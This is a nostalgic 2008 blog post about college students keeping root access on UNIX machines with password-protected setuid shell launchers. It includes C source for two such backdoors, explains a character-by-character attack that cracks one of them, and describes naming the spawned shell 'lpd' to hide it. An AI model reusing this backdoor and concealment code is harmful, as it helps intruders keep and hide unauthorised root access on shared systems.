Sunday, May 18, 2008

Hacking Passwords

There was a time (well, 8-10 years ago when I was in college) when there were many vulnerabilities in common UNIX systems (Sun Solaris/HP-UX/Linux/Digital Unix and what not!) which allowed someone to get superuser (root) privileges.

Normally the college geeks would download some shell script or a C program which would exploit some vulnerability and land you in a shell with '#' prompt and it wasgreat. The geeks stopped here, but the ultra-geeks went further! Using the '#' prompt they created another C program which would just launch a shell and set the "SetUserId" bit on that program.

When such a program is launched by any user, the program is run with root privileges and since it launches a shell you eventually land up with a '#' prompt. To protect the misuse of such program by non-geeks they added a password feature such that the program would first ask for a password and if it matched with the secret password (encoded in the program itself) then it launched the shell.

It worked fine mostly but had few problems. First these ultra-geeks didn't how to hide characters when taking input passwords and that meant somebody could look over their shoulder when they were themselves using this program to get root privileges.

Another problem (which was not well known to some geeks) was that the secret password was itself stored as a string in the program and somebody could see it by opening the program in binary editor. Thanks to "strings" command that we got to hack many such programs.

We found a really smart-ultra-geek who had solved both the problems and whose code of root-shell-launcher was like this:-

#include<stdio.h>
int main()
{
// use termios.h functions to set the terminal in a raw mode
// and disable the character echo - password not visible now
if (getchar() == 'u')
if (getchar() == 'n')
if (getchar() == '1')
if (getchar() == 'c')
if (getchar() == '0')
if (getchar() == 'r')
if (getchar() == 'n')
{
system("/bin/sh"); // launch root shell
return 0;
}
return 1;
}

Getting the password character by character ensures that the binary program will not have any string password like "un1c0rn" hidden in it. Seems pretty smart!

What this guy did not recognize was that it was ultra-easy to crack the password. If at any stage of input the password you enter a wrong character the program exits. This way one can try 36 chars (digits + lower case letters), or more if one wishes to use entire keyboard, and get the first letter of the secret password and in the same way continue to get the subsequent letters of the password.

Thus if the size of input alphabet is 'm' and length of password is 'n', the password can be cracked in 'm * n' attempts whereas the theoretical maximum is 'm^n' attempts. So much for the ingenuity of smart-ultra-geek (with all that termios.h stuff for turning off echo).

A simple solution which we used frequently was this:-

#include<stdio.h>
int main()
{
char *pEncPwd = "qwhDSFer437Tv";
char *salt = "qw";
char input[50], encPwd[13];
strcpy(input, getpass(""));
strncpy(encPwd, crypt(input, salt), 13);
if (strncmp(encPwd, pEncPwd, 13))
{
return 1;
}
else
{
// launch shell
execl("/bin/sh", "lpd", NULL);
}
}

Ignore compilation errors if any in this program (because I don't have any UNIX box with me now), but it works great and solves both problems mentioned earlier using standard library functions. getpass() is used to retrieve text input with echo off and crypt() is used to encrypt using the DES algorithm resulting in a 13 byte encoded password. The program contains the encrypted password in its binary. By the way that "lpd" in execl() is to hide the shell process with the name "lpd".

1 Comments:

Blogger Phanish Chandra said...

Parma!

You forget that writing programs is the worst way to hack passwords.
If you remember, I had shown you a quick and effective way to do it.

Why don't you write about it :)

Cheers

4:33 PM  

Post a Comment

<< Home